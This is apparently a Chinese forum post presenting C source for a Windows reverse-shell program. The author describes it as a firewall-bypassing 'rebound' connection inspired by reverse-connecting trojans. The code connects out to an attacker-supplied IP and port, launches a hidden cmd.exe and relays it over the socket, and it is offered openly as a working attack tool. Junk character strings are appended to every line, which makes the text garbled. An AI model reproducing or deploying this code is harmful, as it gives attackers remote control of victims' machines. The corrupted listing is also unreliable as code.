这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )tPl<lb
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/* ============================== x=3I)}J(kn
Rebound port in Windows NT Ij$)RSPtH
By wind,2006/7 ]xB6cPdLu
===============================*/ a&:>Ped"
#include rHo6iJj
#include 9<qx!-s2rr
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#pragma comment(lib,"wsock32.lib") -$tCF >,
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void OutputShell(); Ko-QR(
SOCKET sClient; #,Bj!'Q'-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q5gP~*?
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void main(int argc,char **argv) 7X:hIl
{ ypT9 8
WSADATA stWsaData; &O{t^D)F
int nRet; jhcuK:`L
SOCKADDR_IN stSaiClient,stSaiServer; h~.V[o7=
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if(argc != 3) 7?]!Ecr"
{ )Jz !Ut
printf("Useage:\n\rRebound DestIP DestPort\n"); 0&o
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return; DzmqR0)
} 9>zDJx
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WSAStartup(MAKEWORD(2,2),&stWsaData); u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U*xxrt/On/
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stSaiClient.sin_family = AF_INET; :9O|l)N)W=
stSaiClient.sin_port = htons(0); `0[fLEm
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tQ6| PV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !z.^(Tj
{ xF^r`
printf("Bind Socket Failed!\n"); s3y}Yg
return; YL!oF^XO
} *q[^Q'jnN
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stSaiServer.sin_family = AF_INET; X~#@rg!"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); KD9Ca $-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B4 <_"0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]:Wb1
{ R=QM;
printf("Connect Error!"); 0YHYx n
return; 3dY6;/s
} p\)h",RkA
OutputShell(); np&HEh 6
} 5Wj5IS/
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void OutputShell() g;ct!f=U
{ gFgcxe6
char szBuff[1024]; H.f9d.<W%
SECURITY_ATTRIBUTES stSecurityAttributes; g')?J<z
OSVERSIONINFO stOsversionInfo; 8Y]u:v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mURX I'JkX
STARTUPINFO stStartupInfo; OHQ3+WJ
char *szShell; 'fXer!L}
PROCESS_INFORMATION stProcessInformation; F}\[eFf[
unsigned long lBytesRead; d!FONi
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I *1#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yr Preuh
stSecurityAttributes.lpSecurityDescriptor = 0; 6pSRum
stSecurityAttributes.bInheritHandle = TRUE; s@R3#"I
#NSaY+V
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w 2s,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >l6XZQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C3^X1F0
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fdvi}SS8
stStartupInfo.wShowWindow = SW_HIDE; ((n5';|N
stStartupInfo.hStdInput = hReadPipe;
; \Y-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o(vZ*^\
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GetVersionEx(&stOsversionInfo); eDvXU_yA
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switch(stOsversionInfo.dwPlatformId) cM|af#o
{ G`&'Bt{Z*
case 1: NN?Bi=&9
szShell = "command.com"; `,<>){c|
break; !<JG&9ODP
default: ^$3w&$K*
szShell = "cmd.exe"; Ykx&6M@t
break; )yfOrsM
} >0[qi1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u9da]*\7y
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send(sClient,szMsg,77,0); jCdZ}M($
while(1)
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{ a?f5(qW3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %DHP
if(lBytesRead) $Ykp8u,(
{ 4p0IBfVG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xQcMQ{&;
send(sClient,szBuff,lBytesRead,0); Q|zE@nLS
} }6b7a1p
else 5[0l08'D
{ `3H?*\<(
lBytesRead=recv(sClient,szBuff,1024,0); _,Io(QS
if(lBytesRead<=0) break; gb ^UFD L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 70I4-[/z[d
} %t(, *;
} k
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return; -bIpmp?
}